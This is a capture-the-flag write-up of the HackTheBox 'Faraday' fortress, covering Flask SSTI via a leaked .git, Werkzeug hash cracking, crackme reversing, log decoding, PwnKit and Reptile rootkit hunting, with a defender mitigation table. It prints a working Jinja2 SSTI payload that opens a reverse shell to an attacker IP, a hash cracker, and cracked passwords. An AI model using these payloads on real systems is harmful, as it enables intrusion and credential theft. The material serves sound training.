Faraday is a HackTheBox Fortress focused on the modern Python web stack: a Flask "Alert system" application that pivots through every interesting Flask security primitive (SSTI, exposed .git, Werkzeug session hashes) before landing on the host for binary reverse-engineering, log forensics, and rootkit hunting. Eight flags across eight distinct technique categories.
The technical interest of Faraday is breadth: the same fortress that asks you to URL-encode a Jinja2 SSTI bypass also makes you mount a 10 GB LVM disk image and disable a Linux Kernel Module rootkit. The chain is not strictly sequential — flags 5 and 6 can be approached in parallel after the initial SSH credential drop — but the order below reflects the intended path.
Kill chain at a glance
#
Stage
Technique
F1
Warmup
Register on Alert webapp → set SMTP server to our IP:25 → catch outgoing alert with `python3 -m smtpd -c DebuggingServer` → flag in message body
F2
Let's count
wfuzz finds exposed /.git → git-dumper → app.py reveals `render_template_string(template.replace("SERVER", message.server))` → Flask SSTI via /profile?name= → reverse shell as root in Docker container
F3
Time to play
In container `/app/db/database.db` SQLite — `user_model` table with Werkzeug `sha256$` hashes → custom Python cracker using `werkzeug.security.check_password_hash` + rockyou → 5 user passwords
F4
pasta SSH + crackme
SSH pasta:antihacker → /home/pasta/crackme binary → decompile in IDA → main() uses double-precision math comparison → Python brute over `chars[:2]+"_"+chars[2:]+"@"` until result close to 4088116.817143337 → flag
F5
Careful read
SSH administrator:ihatepasta → /var/log/apache2/access.log has historic sqlmap blind-SQLi queries against /update.php → extract decimal values from `))!=NUM` patterns → chr(decimal) decode reveals exfiltrated flag
Port 8888 from initial recon asks for credentials → try cracked SSH passwords → pasta:antihacker works → "access granted!!!" + flag returned
F8
Root Kit
/root/chkrootkit.txt shows "Reptile Rootkit … found it" → copy /dev/sda3 to Kali → losetup + kpartx + LVM mount → see hidden `/reptileRoberto/` directory → on real machine run `reptileRoberto_cmd show` to temporarily disable LKM → read reptileRoberto_flag.txt
ℹ All eight flags follow the format FARADAY{...}. The fortress is rated Hard on HTB. Most of the technical depth lives in flag 2 (the Jinja2 SSTI bypass via globals/popen) and flag 8 (the LKM rootkit disk-image mount + cmd-show bypass).
2. Warmup — SMTP Debug Catcher (Flag 1)
Standard recon. Three ports open. Two are immediately approachable; the third (8888) defers until later.
Faraday HTB Fortress — title banner from the official PDF writeup
nmap + 8888 probe
bash
$ sudo nmap 10.13.37.14
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8888/tcp open sun-answerbook
# Port 8888 — a custom credential challenge:$ netcat 10.13.37.14 8888
Welcome to FaradaySEC stats!!!
Username: test
Password: <hangs — return to this later>
Alert System v1.0
Port 80 hosts an Alert System Flask app. Registration is open — make a test account, log in.
Alert System v1.0 — landing page. The red box highlights the "make one!!" registration link
After signup — log back in with the same credentials
SMTP config
shell
# Register at /signup → test/test/[email protected] → log in# First-time-login flow asks to configure an SMTP server# (so the app can deliver alerts to YOU as the user).
SMTP server: 10.10.14.10
Port: 25
Username: (blank)
Password: (blank)
TLS: off, SSL: off
SMTP server configuration — point host to our Kali IP on port 25
After SMTP config — pick a "name server" (JohnConnor) from the default dropdown
Catch the outgoing alert
After SMTP config, we can submit alerts. The app POSTs from /sendMessage to our SMTP server. Intercepting in Burp shows the server name is driven by /profile?name= — a parameter we control.
Burp intercept — the GET /profile?name=JohnConnor parameter is what populates the message template (this becomes the SSTI sink in Flag 2)
Message form after profile setup — Message To dropdown shows [email protected] plus several other users (good for credential mining later)
Stand up Python's built-in debug SMTP server on Kali to catch the email plaintext:
python SMTPD catcher
bash
$ sudo python3 -m smtpd -c DebuggingServer -n 10.10.14.10:25
# Now go back to the web UI and submit an alert with any text
---------- MESSAGE FOLLOWS ----------
b'Subject: test'
b'X-Peer: 10.13.37.14'
b''
b'An event was reported at JohnConnor:'
b'test'
b'Here is your gift FARADAY{ehlo_@nd_w3lcom3!}'
------------ END MESSAGE ------------
🚩 Flag #1 captured
Warmup — SMTP debug catcher
FARADAY{ehlo_@nd_w3lcom3!}
3. Flag 2 — Flask SSTI via .git Leak
The webapp leaks more than alerts. Wfuzz against the root finds an exposed .git/ directory — the developer forgot to remove the version control metadata before shipping. Dumping the repo gives us the Flask source.
Exposed .git → git-dumper
wfuzz + git-dumper
bash
$ wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/common.txt \
-u http://10.13.37.14/FUZZ -t 100 --hc 404
000000012: 200 10 L 58 W 3892 Ch ".git/index"
000000010: 200 1 L 2 W 23 Ch ".git/HEAD"
000000011: 200 8 L 20 W 141 Ch ".git/config"
000001212: 302 3 L 24 W 262 Ch "configuration"
000002511: 200 73 L 125 W 1847 Ch "login"
000003304: 302 3 L 24 W 250 Ch "profile"
000003799: 200 81 L 129 W 1938 Ch "signup"$ git-dumper http://10.13.37.14/.git/ dump
$ ls dump/
app.py commit-meta.txt requirements.txt static/ templates/
app.py — the SSTI sink
Reading app.py reveals a textbook server-side template injection in the message-body construction:
app.py (excerpt)
python
@app.route('/profile')
@login_required
def profile():
name = request.args.get('name', '')
if name:
if not current_user.message:
message = MessageModel(server=name, user_id=current_user.id)
db.session.add(message); db.session.commit()
else:
current_user.message[0].server = name
db.session.commit()
return redirect('/sendMessage')
return render_template('base.html')
@app.route('/sendMessage', methods=['POST', 'GET'])
@login_required
def sendMessage():
if request.method == 'POST':
if current_user.config and current_user.message:
smtp = current_user.config[0]
message = current_user.message[0]
message.dest = request.form['dest']
message.subject = request.form['subject']
# THE SSTI — render_template_string with attacker-controlled `template.replace('SERVER', message.server)`
message.body = "Subject: %s\r\n" % message.subject + render_template_string(
template.replace('SERVER', message.server),
message=request.form['body'], tinyflag=os.environ['TINYFLAG']
)
db.session.commit()
...
The attacker-controlled message.server (set via /profile?name=) is embedded into a template string that render_template_string processes. Classic Jinja2 SSTI surface.
Bypass 1 — {{7*7}} test
naive SSTI probe
shell
# Set the server name to a Jinja expression
GET /profile?name={{7*7}} HTTP/1.1
# We get redirected to /sendMessage. Send a message and check the alert.# But the alert body shows '7*7}}:' rather than '49' — the framework strips '{{'# Need an escape — use {% ... %} expression syntax instead.
Bypass 2 — {% if ... %} for unrestricted execution
Switching to statement syntax bypasses the {{ filter. The classic Jinja2 RCE pattern via request.application.__globals__.__builtins__.__import__ still works:
Jinja2 SSTI bypass
shell
# the payload (before URL-encoding):
{% if request['application']['__globals__']['__builtins__']['__import__']('os')['popen']('bash -c "bash -i >& /dev/tcp/10.10.14.10/443 0>&1"')['read']() == 'chiv' %} a {% endif %}
# URL-encode and drop in the name parameter:
GET /profile?name=%7B%25+if+request%5B%27application%27%5D%5B%27__globals__%27%5D%5B%27__builtins__%27%5D%5B%27__import__%27%5D%28%27os%27%29%5B%27popen%27%5D%28%27bash+-c+%22bash+-i+%3E%26+%2Fdev%2Ftcp%2F10.10.14.10%2F443+0%3E%261%22%27%29%5B%27read%27%5D%28%29+%3D%3D+%27chiv%27+%25%7D+a+%7B%25+endif+%25%7D HTTP/1.1
reverse shell
bash
$ sudo nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.13.37.14
root@98aa0f47eb96:/app# id
uid=0(root) gid=0(root) groups=0(root)
root@98aa0f47eb96:/app# hostname -I
172.22.0.2
root@98aa0f47eb96:/app# cat flag.txt
FARADAY{7×7_1s_n0t_@lw4ys_49}
🚩 Flag #2 captured
root in Docker container via Flask SSTI
FARADAY{7×7_1s_n0t_@lw4ys_49}
ℹ We are root inside a container (note the 172.22.0.2 IP and the short alphanumeric hostname). The real host machine is different — we will reach it via SSH after extracting credentials from the SQLite database next.
4. Flag 3 — SQLite Werkzeug Hash Cracks
Inside the container, /app/db/database.db is the SQLite store backing the Flask SQLAlchemy models. Extract everything.
SQLite dump
bash
root@98aa0f47eb96:/app/db# ls
database.db
# Base64 exfil to Kali
root@98aa0f47eb96:/app/db# base64 database.db
<paste output to file on Kali>
$ base64 -d > database.db
$ sqlite3 database.db
sqlite> .tables
message_model smtp_config user_model
sqlite> select * from user_model;
1|[email protected]|administrator|sha256$GqgROghu45Dw4D8Z$5a7eee71208e1e3a9e3cc271ad0fd31fec133375587dc6ac1d29d26494c3a20f
2|[email protected]|octo|sha256$gqsmQ2210dEMufAk$98423cb07f845f263405de55edb3fa9eb09ada73219380600fc98c54cd700258
3|[email protected]|pasta|sha256$MsbGKnO1PaFa3jhV$6b166f7f0066a96e7565a81b8e27b979ca3702fdb1a80cef0a1382046ed5e023
4|[email protected]|root|sha256$L2eaiLgdT73AvPij$dc98c1e290b1ec3b9b8f417a553f2abd42b94694e2a62037e4f98d622c182337
5|[email protected]|pepe|sha256$9NzZrF4OtO9r0nFx$c3aa1b68bea55b4493d2ae96ec596176890c4ccb6dedf744be6f6bdbd652255d
6|[email protected]|nobody|sha256$E2bUlSPGhOi2f5Mi$2982efbc094ed13f7169477df7c078b429f60fe2155541665f6f41ef42cd91a1
7|[email protected]|test|sha256$oHEEZCzsOMOkElnD$5469582922a8c5dfd7105e2b1898de926c56445c06eadafdd19680a6f0f37a6c
Werkzeug hash crack
Werkzeug's sha256$<salt>$<hexhash> format is supported by hashcat (-m 1410 with custom delimiter), but the cleanest approach uses Werkzeug's own verifier: brute rockyou through check_password_hash:
Werkzeug cracker
python
#!/usr/bin/env python3
from werkzeug.security import check_password_hash
from pwn import log
hashes = open('hashes', 'r')
for line in hashes:
line = line.strip()
user = line.split(':')[0]
h = line.split(':')[1]
with open('/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt',
'r', errors='ignore') as wl:
for word in wl:
pw = word.strip()
if check_password_hash(h, pw):
log.success(f'Credencial valida: {user}:{pw}')
break
$ python3 exploit.py
[+] Credencial valida: pasta:antihacker
[+] Credencial valida: pepe:sarmiento
[+] Credencial valida: administrator:ihatepasta
[+] Credencial valida: octo:octopass
[+] Credencial valida: test:test
# (root and nobody don't crack with rockyou)
🚩 Flag #3 captured
Five user passwords cracked from SQLite Werkzeug hashes
5. Flag 4 — IDA Reversing of crackme (Double Math Brute)
Try the cracked credentials as Linux users on the host (not the container).
SSH pasta
bash
$ ssh [email protected][email protected]'s password: antihacker
pasta@erlenmeyer:~$ id
uid=1001(pasta) gid=1001(pasta) groups=1001(pasta)
pasta@erlenmeyer:~$ ls
crackme
pasta@erlenmeyer:~$ ./crackme
Insert flag: test
$# silent exit on wrong input — typical RE challenge
Pull the binary, decompile in IDA
IDA Pro view of the crackme — main() function with double-precision math comparison, stack cookie, and the partially-visible flag literals (FARADAY + d0ubl3 + @nd_f1o@t)
The first 21 bytes of the flag come straight from the binary literals (reverse little-endian + swap):
flag template
shell
# Static portion visible in main():
FARADAY{d0ubl3_@nd_f1o@t_
# We need 5 missing characters where:# - byte at offset 2 is '_'# - characters 3 and 7 are interchanged (the BYTE3/HIBYTE swap)# - math check: 1665002837.488342 / struct.unpack('d', value)[0] ≈ 4088116.817143337
Python brute
python
#!/usr/bin/env python3
from itertools import product
import struct, string
flag = 'FARADAY{d0ubl3_@nd_f1o@t_'
characters = string.ascii_lowercase + string.punctuation
for combination in product(characters, repeat=5):
chars = ''.join(combination).encode()
value = b'_' + chars[:2] + b'}' + chars[2:] + b'@'
result = 1665002837.488342 / struct.unpack('d', value)[0]
if abs(result - 4088116.817143337) <= 0.0000001192092895507812:
value = chars[:2] + b'@' + chars[2:] + b'}'
print(flag + value.decode())
break
$ python3 exploit.py
FARADAY{d0ubl3_@nd_f1o@t_be@uty}
🚩 Flag #4 captured
crackme reverse-engineered via double-precision math brute
FARADAY{d0ubl3_@nd_f1o@t_be@uty}
6. Flag 5 — access.log chr() Decode of sqlmap Queries
Among the cracked users, administrator exists on the host:
Each sqlmap blind-SQLi check follows a ))!=NUM pattern where NUM is the ASCII decimal of an extracted character. Decoding the sequence of NUMs gives back the exfiltrated string.
log decode
python
#!/usr/bin/env python3
import re, urllib.parse
with open('/var/log/apache2/access.log') as f:
for line in f:
line = urllib.parse.unquote(line)
if 'update.php' not in line: continue
regex = re.search(r'\)\)!=(\d+)', line)
if regex:
decimal = int(regex.group(1))
print(chr(decimal), end='')
$ python3 exploit.py
....FARADAY{@cc3ss_10gz_c4n_b3_use3fu111}....
🚩 Flag #5 captured
Apache access.log sqlmap chr() decoding
FARADAY{@cc3ss_10gz_c4n_b3_use3fu111}
7. Flag 6 — PwnKit CVE-2021-4034
Standard SUID hunt. pkexec is the obvious target — CVE-2021-4034 (PwnKit) is unpatched.
Final flag. As root, run chkrootkit — it flags the box as compromised by the Reptile rootkit, an open-source Linux Kernel Module (LKM) rootkit that hides files, processes, and connections from kernel-mode interception.
chkrootkit output
shell
root@erlenmeyer:~# cat /root/chkrootkit.txt
Checking 'amd'... not found
Checking 'biff'... not found
... (long list of negatives) ...
Searching for Reptile Rootkit... found it ← here
...
Strategy — mount the raw disk to bypass the LKM
A live Reptile installation hides the /reptileRoberto/ directory from any userspace tool — including ls, find, stat. The LKM hooks the kernel syscall table. The only way to see those files is to read the disk OUTSIDE the running kernel.
disk mount workaround
bash
# Copy /dev/sda3 to Kali (long — ~10GB)
root@erlenmeyer:~# dd if=/dev/sda3 of=/tmp/sda3.image bs=4M status=progress
# scp to Kali# On Kali — mount the LVM volume from the raw image$ sudo losetup /dev/loop10 sda3.image
$ sudo kpartx -a /dev/loop10
$ sudo vgdisplay -v | grep "LV Path"
LV Path /dev/ubuntu-vg/ubuntu-lv
LV Path /dev/ubuntu-vg/swap
$ sudo mount /dev/ubuntu-vg/ubuntu-lv /mnt/
$ ls -l /mnt/
drwxr-xr-x root root 4.0 KB ... reptileRoberto ← visible now!
drwxr-xr-x root root ... usr etc home var ...
Use Reptile's own control file to disable it on the live system
Looking at /mnt/reptileRoberto/ we find Reptile's control binary reptileRoberto_cmd. Reptile is designed to let an admin disable hiding via this command. Run it on the LIVE machine:
Reptile cmd show + read
bash
# Inspect the rootkit control files (visible only from disk-mount)$ ls -l /mnt/reptileRoberto/
-rwxr-xr-x root root 42 KB ... reptileRoberto ← LKM kernel module
-rwxrwxrwx root root 14 KB ... reptileRoberto_cmd ← control binary
-rw-r--r-- root root 41 B ... reptileRoberto_flag.txt
-rwxrwxrwx root root 2.4 KB ... reptileRoberto_rc
-rwxrwxrwx root root 66 KB ... reptileRoberto_shell
-rwxrwxrwx root root 667 B ... reptileRoberto_start
# Back on the live target (root via PwnKit):
root@erlenmeyer:~# /reptileRoberto/reptileRoberto_cmd show
Success!
# Now the directory is unhidden in the live filesystem
root@erlenmeyer:~# ls -l /reptileRoberto
... (full listing)
root@erlenmeyer:/reptileRoberto# cat reptileRoberto_flag.txt
FARADAY{__LKM-is-a-l0t-l1k3-an-0r@ng3__}
🚩 Flag #8 captured
Reptile LKM rootkit disk-mount + cmd show bypass
FARADAY{__LKM-is-a-l0t-l1k3-an-0r@ng3__}
💡 The disk-mount approach is general for ANY kernel-mode rootkit. Anything that hides itself by hooking syscalls is invisible to userspace tools but trivially readable when the disk is mounted on a host where that LKM is not loaded. This is also the defender's incident-response workflow for suspected rootkit compromise.
10. Defenders' takeaways
Every Faraday primitive is well-documented. Here is the per-stage defender map.
Bug class
Mitigation
SMTP debug catcher
User-supplied SMTP host should be allowlisted to internal mail relays, never arbitrary external IPs. If user-controlled SMTP is genuinely needed, sanity-check the host (no RFC1918 / link-local / attacker-supplied IPs).
Exposed /.git
Add location ~ /\.git { deny all; } in nginx (or equivalent Apache). Audit deployment pipelines — production should never have .git artifacts. Use git archive or a build artifact pipeline that strips VCS metadata.
Flask SSTI via render_template_string
Never pass user input as the TEMPLATE argument to render_template_string. Always use static template files; pass user data via **context arguments only. Audit every call site for the pattern render_template_string(some_dynamic_string, ...).
Werkzeug sha256\$ hashes
Werkzeug's default password hasher uses pbkdf2 in newer versions — verify the iteration count is current (≥260k for pbkdf2). For maximum security migrate to bcrypt or argon2 (argon2-cffi) which have built-in time-cost parameters.
Password reuse SQLite → SSH
Webapp passwords must never overlap with OS user passwords. Use distinct credentials per service. Enforce password manager use for admins.
Verbose Apache access log readable by non-root
/var/log/apache2/access.log should be root:adm 640 by default. The Faraday box made it owned by administrator — that's the configuration mistake. Audit log file ownership/permissions across /var/log/.
SUID pkexec (CVE-2021-4034 PwnKit)
Patch polkit — every distribution had a fix within weeks of disclosure. Audit SUID binaries quarterly. If pkexec is not needed: chmod 0755 /usr/bin/pkexec removes the SUID bit.
Custom credential service on 8888
Any custom auth service must use rate limiting + lockout. Logging failed authentication attempts. Network ACLs to restrict who can connect.
LKM rootkits
Enable kernel.modules_disabled=1 in production after boot (no modules can be loaded). Use kernel lockdown mode. AIDE / Tripwire / Wazuh for filesystem integrity monitoring. Network egress monitoring for C2 beacons that rootkits typically establish.
11. Closing thoughts
Faraday is a well-designed multi-domain fortress that exercises the modern Python web stack end-to-end and then forces you out of comfort into binary RE and rootkit forensics. Three things to internalise:
Exposed .git is one of the highest-ROI findings in any external assessment. Tools (git-dumper, gitminer) make extraction trivial. Defense is two lines of webserver config. If you run a bug bounty programme, half the "low-severity information disclosure" submissions you receive will be exposed .git directories.
Flask SSTI via render_template_string is the canonical Python web vulnerability of the last decade. The {{7*7}} probe works in seconds. The bypass to RCE via __globals__ is also well-documented. If you write Flask, audit every render_template_string call site annually.
Live-system rootkit detection is broken by design. The disk-mount workaround in flag 8 is exactly how professional IR teams handle suspected rootkit compromise — image the disk, mount on a clean analysis host, look at what userspace tools on the original host could not see. Build this capability before you need it.
💡 Next Fortresses to try: Akerva (web + cloud), Synacktiv (multi-stage red team), AWS (cloud-focused). Or move to a Pro Lab: see our Cybernetics writeup for a forest-scale AD compromise across 3 domains.